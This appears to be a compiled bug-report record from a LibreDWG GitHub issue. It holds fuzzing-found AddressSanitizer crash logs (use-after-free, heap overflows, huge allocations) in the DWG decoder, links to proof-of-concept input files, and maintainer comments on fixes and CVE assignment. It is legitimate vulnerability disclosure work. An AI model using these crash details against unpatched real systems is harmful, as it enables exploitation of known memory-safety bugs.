READ of size 8 at 0x603000000058 thread T0
#0 0x55e4585b3685 in resolve_objectref_vector ../../src/decode.c:1434
#1 0x55e458b6fa26 in decode_R13_R2000 ../../src/decode.c:1421
#2 0x55e458b9e61a in dwg_decode ../../src/decode.c:239
#3 0x55e458540f7a in dwg_read_file ../../src/dwg.c:206
#4 0x55e45853f32d in main ../../programs/dwg2dxf.c:255
#5 0x7f0bd1d26b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#6 0x55e4585402e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
0x603000000058 is located 24 bytes inside of 32-byte region [0x603000000040,0x603000000060)
freed by thread T0 here:
#0 0x7f0bd25727b8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7b8)
#1 0x55e458945199 in dwg_decode_handleref ../../src/decode.c:3689
previously allocated by thread T0 here:
#0 0x7f0bd2572d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x55e458944cbd in dwg_decode_handleref ../../src/decode.c:3669
#2 0x10effffffffff (<unknown module>)
SUMMARY: AddressSanitizer: heap-use-after-free ../../src/decode.c:1434 in resolve_objectref_vector
Shadow bytes around the buggy address:
0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c067fff8000: fa fa fd fd fd fd fa fa fd fd fd[fd]fa fa 00 00
0x0c067fff8010: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
0x0c067fff8020: fd fd fd fd fa fa fd fd fd fd fa fa 00 00 00 02
0x0c067fff8030: fa fa 00 00 00 02 fa fa 00 00 00 03 fa fa fa fa
0x0c067fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==25001==ABORTING
```
---
Comment by linhlhq on 2019-12-24 03:48:07+00:00:
**7.Heap-buffer-overflow in decode_R13_R2000 (src/decode.c:1315)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000007%2Csig:06%2Csrc:000316%2B000377%2Cop:splice%2Crep:128
ASAN says:
```
==17430==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6130000001b0 at pc 0x5647424fb76d bp 0x7ffdbd213570 sp 0x7ffdbd213560
READ of size 8 at 0x6130000001b0 thread T0
#0 0x5647424fb76c in decode_R13_R2000 ../../src/decode.c:1315
#1 0x56474251561a in dwg_decode ../../src/decode.c:239
#2 0x564741eb7f7a in dwg_read_file ../../src/dwg.c:206
#3 0x564741eb632d in main ../../programs/dwg2dxf.c:255
#4 0x7f94848bcb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#5 0x564741eb72e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
0x6130000001b0 is located 8 bytes to the right of 360-byte region [0x613000000040,0x6130000001a8)
allocated by thread T0 here:
#0 0x7f9485108d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x5647424dea59 in decode_R13_R2000 ../../src/decode.c:861
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../src/decode.c:1315 in decode_R13_R2000
Shadow bytes around the buggy address:
0x0c267fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c267fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c267fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c267fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c267fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c267fff8030: 00 00 00 00 00 fa[fa]fa fa fa fa fa fa fa fa fa
0x0c267fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==17430==ABORTING
```
---
Comment by linhlhq on 2019-12-24 03:48:30+00:00:
**8.Crafted input will lead to Memory allocation failed in decode_preR13_section (src/decode.c:315)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000008%2Csig:06%2Csrc:000768%2B000486%2Cop:splice%2Crep:128
ASAN says:
```
==30021==ERROR: AddressSanitizer failed to allocate 0x1138003000 (73953980416) bytes of LargeMmapAllocator (error code: 12)
==30021==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x555c6a254000-0x555c6b748000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x555c6b948000-0x555c6b960000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x555c6b960000-0x555c6ba44000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
....
0x7f552f888000-0x7f552f88f000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f552f88f000-0x7f552fa8e000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f552fa8e000-0x7f552fa8f000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f552fa8f000-0x7f552fa90000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f552fa90000-0x7f552fa93000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f552fa93000-0x7f552fc92000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f552fc92000-0x7f552fc93000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f552fc93000-0x7f552fc94000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f552fc94000-0x7f552fe7b000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f552fe7b000-0x7f553007b000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f553007b000-0x7f553007f000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f553007f000-0x7f5530081000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f5530081000-0x7f5530085000
0x7f5530085000-0x7f5530222000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f5530222000-0x7f5530421000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f5530421000-0x7f5530422000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f5530422000-0x7f5530423000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f5530423000-0x7f5530573000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f5530573000-0x7f5530773000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f5530773000-0x7f5530776000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f5530776000-0x7f5530779000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f5530779000-0x7f55313de000
0x7f55313de000-0x7f5531405000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f5531471000-0x7f55315fb000
0x7f55315fb000-0x7f5531605000
0x7f5531605000-0x7f5531606000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f5531606000-0x7f5531607000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f5531607000-0x7f5531608000
0x7fff8fdef000-0x7fff8fe10000 [stack]
0x7fff8fea3000-0x7fff8fea6000 [vvar]
0x7fff8fea6000-0x7fff8fea8000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==30021==End of process memory map.
==30021==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7f553050cc02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7f553052b595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7f5530516492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7f55305228a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7f553044f8f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7f5530501f07 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef07)
#6 0x555c6a380d1f in decode_preR13_section ../../src/decode.c:315
#7 0x555c6a9fadca in decode_preR13 ../../src/decode.c:708
#8 0x555c6ac9634f in dwg_decode ../../src/decode.c:235
#9 0x555c6a638f7a in dwg_read_file ../../src/dwg.c:206
#10 0x555c6a63732d in main ../../programs/dwg2dxf.c:255
#11 0x7f552fcb5b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#12 0x555c6a6382e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
---
Comment by linhlhq on 2019-12-24 03:48:51+00:00:
**9.Heap-buffer-overflow in decode_preR13_section (src/decode.c:350)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000024%2Csig:06%2Csrc:002283%2B001622%2Cop:splice%2Crep:64
ASAN says:
```
==31479==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x629000004e14 at pc 0x55713d105f18 bp 0x7ffefe359270 sp 0x7ffefe359260
WRITE of size 4 at 0x629000004e14 thread T0
#0 0x55713d105f17 in decode_preR13_section ../../src/decode.c:350
#1 0x55713d77fdca in decode_preR13 ../../src/decode.c:708
#2 0x55713da1b34f in dwg_decode ../../src/decode.c:235
#3 0x55713d3bdf7a in dwg_read_file ../../src/dwg.c:206
#4 0x55713d3bc32d in main ../../programs/dwg2dxf.c:255
#5 0x7fcb2bc53b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#6 0x55713d3bd2e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
0x629000004e14 is located 20 bytes to the right of 19456-byte region [0x629000000200,0x629000004e00)
allocated by thread T0 here:
#0 0x7fcb2c49fb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
#1 0x55713d19562d in decode_preR13_entities ../../src/decode.c:4356
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../src/decode.c:350 in decode_preR13_section
Shadow bytes around the buggy address:
0x0c527fff8970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff8980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff8990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff89a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff89b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c527fff89c0: fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff89d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff89e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff89f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff8a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff8a10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==31479==ABORTING
```
---
Comment by linhlhq on 2019-12-24 03:49:07+00:00:
**10.Heap-buffer-overflow in bit_search_sentinel (src/bits.c:1825)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000041%2Csig:06%2Csrc:003308%2Cop:havoc%2Crep:16
ASAN says:
```
==32322==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f2638fc53de at pc 0x562bfa36216a bp 0x7ffc67dcbdc0 sp 0x7ffc67dcbdb0
READ of size 1 at 0x7f2638fc53de thread T0
#0 0x562bfa362169 in bit_search_sentinel ../../src/bits.c:1825
#1 0x562bfa9264ac in decode_R13_R2000 ../../src/decode.c:1389
#2 0x562bfa95261a in dwg_decode ../../src/decode.c:239
#3 0x562bfa2f4f7a in dwg_read_file ../../src/dwg.c:206
#4 0x562bfa2f332d in main ../../programs/dwg2dxf.c:255
#5 0x7f2637792b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#6 0x562bfa2f42e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
0x7f2638fc53de is located 0 bytes to the right of 400350-byte region [0x7f2638f63800,0x7f2638fc53de)
allocated by thread T0 here:
#0 0x7f2637fded38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x562bfa2f4e61 in dat_read_file ../../src/dwg.c:69
#2 0x562bfa2f4e61 in dwg_read_file ../../src/dwg.c:199
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../src/bits.c:1825 in bit_search_sentinel
Shadow bytes around the buggy address:
0x0fe5471f0a20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe5471f0a30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe5471f0a40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe5471f0a50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe5471f0a60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0fe5471f0a70: 00 00 00 00 00 00 00 00 00 00 00[06]fa fa fa fa
0x0fe5471f0a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe5471f0a90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe5471f0aa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe5471f0ab0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe5471f0ac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==32322==ABORTING
```
---
Comment by rurban on 2019-12-24 14:02:49+00:00:
I can repro all
---
Comment by rurban on 2019-12-24 14:46:34+00:00:
I'll ignore the preR13 error (id 000008), as this code is not stable yet, and disabled in releases.
---
Comment by linhlhq on 2019-12-25 02:02:26+00:00:
Yes, when you fix all the bugs in the release I will come back.
---
Comment by rurban on 2019-12-25 08:50:29+00:00:
Done in the `smoke/fuzz` branch
---
Comment by linhlhq on 2019-12-25 10:06:25+00:00:
Did you fix all the bugs I reported above? Except for bug **8. lead to Memory allocation failed in decode_preR13_section**
---
Comment by rurban on 2019-12-25 11:04:40+00:00:
All fixed now
---
Comment by linhlhq on 2019-12-25 13:40:12+00:00:
yeah, that was awesome. Can you help me request cve for the above bugs? Thank you.
---
Comment by rurban on 2019-12-25 14:15:46+00:00:
You cannot CVE's for the preR13 bugs, because that code is disabled with releases.
---
Comment by linhlhq on 2019-12-25 15:24:54+00:00:
@rurban So are there any other bugs you can help me with? With bugs from 1 to 7 I report above.
---
Comment by attritionorg on 2019-12-25 18:54:54+00:00:
@rurban Can you cliff notes if any of them were in active code and link to the fixing commits?
---
Comment by nluedtke on 2019-12-30 15:02:10+00:00:
It appears these were assigned:
- [CVE-2019-20009](https://nvd.nist.gov/vuln/detail/CVE-2019-20009)
- [CVE-2019-20010](https://nvd.nist.gov/vuln/detail/CVE-2019-20010)
- [CVE-2019-20011](https://nvd.nist.gov/vuln/detail/CVE-2019-20011)
- [CVE-2019-20012](https://nvd.nist.gov/vuln/detail/CVE-2019-20012)
- [CVE-2019-20013](https://nvd.nist.gov/vuln/detail/CVE-2019-20013)
- [CVE-2019-20014](https://nvd.nist.gov/vuln/detail/CVE-2019-20014)
- [CVE-2019-20015](https://nvd.nist.gov/vuln/detail/CVE-2019-20015)
---
Comment by rurban on 2019-12-30 18:26:00+00:00:
Thanks, I'll have to mark them as fixed by the latest release 0.9.3
---
Comment by linhlhq on 2020-01-01 10:21:16+00:00:
@rurban Can I request cve for preR13 bugs? Or can you request for me? Thanks.
---
Comment by rurban on 2020-01-01 13:02:54+00:00:
These cannot be CVE's as this code is disabled in releases.
linhlhq <[email protected]> schrieb am Mi., 1. Jan. 2020, 11:21:
> @rurban <https://github.com/rurban> Can I request cve for preR13 bugs? Or
> can you request for me? Thanks.
>
> —
> You are receiving this because you were mentioned.
> Reply to this email directly, view it on GitHub
> <https://github.com/LibreDWG/libredwg/issues/176?email_source=notifications&email_token=AAAKGUKXAWN4WBUHYJMUTPLQ3RVBZA5CNFSM4J62I26KYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOEH5CARI#issuecomment-570040389>,
> or unsubscribe
> <https://github.com/notifications/unsubscribe-auth/AAAKGULY6L3JRIK6R662AMLQ3RVBZANCNFSM4J62I26A>
> .
>
---
Comment by rurban on 2020-01-01 14:58:46+00:00:
Verified them to be fixed with 3f515d52954e2ec009a2508d3d5be04e3bcc094b (for the upcoming 0.10) also
Commit References:
3f515d52954e2ec009a2508d3d5be04e3bcc094b
================= Bug Report (2/2) ==================
## Source: GitHub Issue
## URL: https://github.com/LibreDWG/libredwg/issues/176#issuecomment-568643060
## Description:
Issue: LibreDWG/libredwg#176
Title: Several bugs found by fuzzing
Referenced comment by linhlhq on 2019-12-24 03:45:15+00:00:
**3.Crafted input will lead to Memory allocation failed in decode_3dsolid (src/dwg.spec:1801)**
PoC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG/id:000006%2Csig:06%2Csrc:000000%2Cop:flip1%2Cpos:46085
ASAN says:
```
==833==ERROR: AddressSanitizer failed to allocate 0x7f940f9000 (547944894464) bytes of LargeMmapAllocator (error code: 12)
==833==Process memory map follows:
0x00007fff7000-0x00008fff7000
0x00008fff7000-0x02008fff7000
0x02008fff7000-0x10007fff8000
0x562cd50b0000-0x562cd65a4000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x562cd67a4000-0x562cd67bc000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x562cd67bc000-0x562cd68a0000 /home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf
0x562cd68a0000-0x562cd68a4000
....
0x7f7e1e3c9000-0x7f7e2071b000
0x7f7e2071b000-0x7f7e20732000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7f7e20732000-0x7f7e20931000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7f7e20931000-0x7f7e20932000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7f7e20932000-0x7f7e20933000 /lib/x86_64-linux-gnu/libgcc_s.so.1
0x7f7e20933000-0x7f7e2094d000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7f7e2094d000-0x7f7e20b4c000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7f7e20b4c000-0x7f7e20b4d000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7f7e20b4d000-0x7f7e20b4e000 /lib/x86_64-linux-gnu/libpthread-2.27.so
0x7f7e20b4e000-0x7f7e20b52000
0x7f7e20b52000-0x7f7e20b59000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f7e20b59000-0x7f7e20d58000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f7e20d58000-0x7f7e20d59000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f7e20d59000-0x7f7e20d5a000 /lib/x86_64-linux-gnu/librt-2.27.so
0x7f7e20d5a000-0x7f7e20d5d000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f7e20d5d000-0x7f7e20f5c000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f7e20f5c000-0x7f7e20f5d000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f7e20f5d000-0x7f7e20f5e000 /lib/x86_64-linux-gnu/libdl-2.27.so
0x7f7e20f5e000-0x7f7e21145000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f7e21145000-0x7f7e21345000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f7e21345000-0x7f7e21349000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f7e21349000-0x7f7e2134b000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7f7e2134b000-0x7f7e2134f000
0x7f7e2134f000-0x7f7e214ec000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f7e214ec000-0x7f7e216eb000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f7e216eb000-0x7f7e216ec000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f7e216ec000-0x7f7e216ed000 /lib/x86_64-linux-gnu/libm-2.27.so
0x7f7e216ed000-0x7f7e2183d000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f7e2183d000-0x7f7e21a3d000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f7e21a3d000-0x7f7e21a40000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f7e21a40000-0x7f7e21a43000 /usr/lib/x86_64-linux-gnu/libasan.so.4.0.0
0x7f7e21a43000-0x7f7e226a8000
0x7f7e226a8000-0x7f7e226cf000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f7e2273b000-0x7f7e228c5000
0x7f7e228c5000-0x7f7e228cf000
0x7f7e228cf000-0x7f7e228d0000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f7e228d0000-0x7f7e228d1000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7f7e228d1000-0x7f7e228d2000
0x7ffec2458000-0x7ffec2479000 [stack]
0x7ffec24f6000-0x7ffec24f9000 [vvar]
0x7ffec24f9000-0x7ffec24fb000 [vdso]
0xffffffffff600000-0xffffffffff601000 [vsyscall]
==833==End of process memory map.
==833==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_common.cc:118 "((0 && "unable to mmap")) != (0)" (0x0, 0x0)
#0 0x7f7e217d6c02 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe9c02)
#1 0x7f7e217f5595 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x108595)
#2 0x7f7e217e0492 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xf3492)
#3 0x7f7e217ec8a5 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xff8a5)
#4 0x7f7e217198f1 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2c8f1)
#5 0x7f7e2171404b (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x2704b)
#6 0x7f7e217cbd00 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded00)
#7 0x562cd58a523f in decode_3dsolid ../../src/dwg.spec:1801
#8 0x562cd58c27dc in dwg_decode_REGION_private ../../src/dwg.spec:2042
#9 0x562cd58c3123 in dwg_decode_REGION ../../src/dwg.spec:2040
#10 0x562cd5aa9c06 in dwg_decode_add_object ../../src/decode.c:4741
#11 0x562cd5abff28 in decode_R13_R2000 ../../src/decode.c:1216
#12 0x562cd5af261a in dwg_decode ../../src/decode.c:239
#13 0x562cd5494f7a in dwg_read_file ../../src/dwg.c:206
#14 0x562cd549332d in main ../../programs/dwg2dxf.c:255
#15 0x7f7e20f7fb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#16 0x562cd54942e9 in _start (/home/user/linhlhq/libredwg/obj-afl/programs/dwg2dxf+0x3e42e9)
```
|
[
{
"content": "[libfuzzer]\ndetect_leaks=0\n",
"filename": "fuzz_dwg_decode.options"
}
] |
[
{
"sha": "3f515d52954e2ec009a2508d3d5be04e3bcc094b",
"url": "https://github.com/LibreDWG/libredwg/commit/3f515d52954e2ec009a2508d3d5be04e3bcc094b"
},
{
"sha": "6c82625d94355a652c21666821f899246bfb76cf",
"url": "https://github.com/LibreDWG/libredwg/commit/6c82625d94355a652c21666821f899246bfb76cf"
},
{
"sha": "7f668ee2604067bf9f23b2c2057a4617002096fc",
"url": "https://github.com/LibreDWG/libredwg/commit/7f668ee2604067bf9f23b2c2057a4617002096fc"
},
{
"sha": "7571b567ba19bee448ba1a102c23a35274770ba2",
"url": "https://github.com/LibreDWG/libredwg/commit/7571b567ba19bee448ba1a102c23a35274770ba2"
},
{
"sha": "d4f57b9d6b2afdd703f3f0e15489e59a70169a3e",
"url": "https://github.com/LibreDWG/libredwg/commit/d4f57b9d6b2afdd703f3f0e15489e59a70169a3e"
},
{
"sha": "28af0b678d3461382217adc538fcdcfc97dc7c31",
"url": "https://github.com/LibreDWG/libredwg/commit/28af0b678d3461382217adc538fcdcfc97dc7c31"
},
{
"sha": "6b4b0bd805f80c144895b703cd10d4e7c1054891",
"url": "https://github.com/LibreDWG/libredwg/commit/6b4b0bd805f80c144895b703cd10d4e7c1054891"
},
{
"sha": "a05eb0af3d43988a991ea6a3fdc01a771aaab4b7",
"url": "https://github.com/LibreDWG/libredwg/commit/a05eb0af3d43988a991ea6a3fdc01a771aaab4b7"
},
{
"sha": "d15cab0fe5a160f7e5981363117c8cbcd5c82423",
"url": "https://github.com/LibreDWG/libredwg/commit/d15cab0fe5a160f7e5981363117c8cbcd5c82423"
},
{
"sha": "3cf9d1705ff51d6970970ca9e4911c2eab0d338b",
"url": "https://github.com/LibreDWG/libredwg/commit/3cf9d1705ff51d6970970ca9e4911c2eab0d338b"
},
{
"sha": "93c25124c191987af168ace9fe4b5623061874bd",
"url": "https://github.com/LibreDWG/libredwg/commit/93c25124c191987af168ace9fe4b5623061874bd"
},
{
"sha": "5650507fb5065c329984f19ce040fd83bd1a5298",
"url": "https://github.com/LibreDWG/libredwg/commit/5650507fb5065c329984f19ce040fd83bd1a5298"
},
{
"sha": "8e961a8ead7818b72f36bdf9eccd0d330e6ea231",
"url": "https://github.com/LibreDWG/libredwg/commit/8e961a8ead7818b72f36bdf9eccd0d330e6ea231"
},
{
"sha": "69b4132a0591b81fddd30588a67c79fc01e69c52",
"url": "https://github.com/LibreDWG/libredwg/commit/69b4132a0591b81fddd30588a67c79fc01e69c52"
},
{
"sha": "0075d173dbb015b72ed779d6ec7ca016841972f3",
"url": "https://github.com/LibreDWG/libredwg/commit/0075d173dbb015b72ed779d6ec7ca016841972f3"
},
{
"sha": "84d938b1d28d514eead8fdc21e7eec4fdfe053f5",
"url": "https://github.com/LibreDWG/libredwg/commit/84d938b1d28d514eead8fdc21e7eec4fdfe053f5"
},
{
"sha": "3d32e491b912cce17c6b8080b32872b1c11472c3",
"url": "https://github.com/LibreDWG/libredwg/commit/3d32e491b912cce17c6b8080b32872b1c11472c3"
},
{
"sha": "07470ca096ff1587fe3b9a57b8366cfcc043d131",
"url": "https://github.com/LibreDWG/libredwg/commit/07470ca096ff1587fe3b9a57b8366cfcc043d131"
},
{
"sha": "e685e689d05d4b7da9a61e9d0868a65db4f82469",
"url": "https://github.com/LibreDWG/libredwg/commit/e685e689d05d4b7da9a61e9d0868a65db4f82469"
},
{
"sha": "97cc629fbea0d8d81b33ce382214578f3379de09",
"url": "https://github.com/LibreDWG/libredwg/commit/97cc629fbea0d8d81b33ce382214578f3379de09"
},
{
"sha": "529decd91126d9a436ce2d0a84434ed7899be507",
"url": "https://github.com/LibreDWG/libredwg/commit/529decd91126d9a436ce2d0a84434ed7899be507"
},
{
"sha": "8e14a3ee22cc1f96b638ee36c1aba3bbea314687",
"url": "https://github.com/LibreDWG/libredwg/commit/8e14a3ee22cc1f96b638ee36c1aba3bbea314687"
},
{
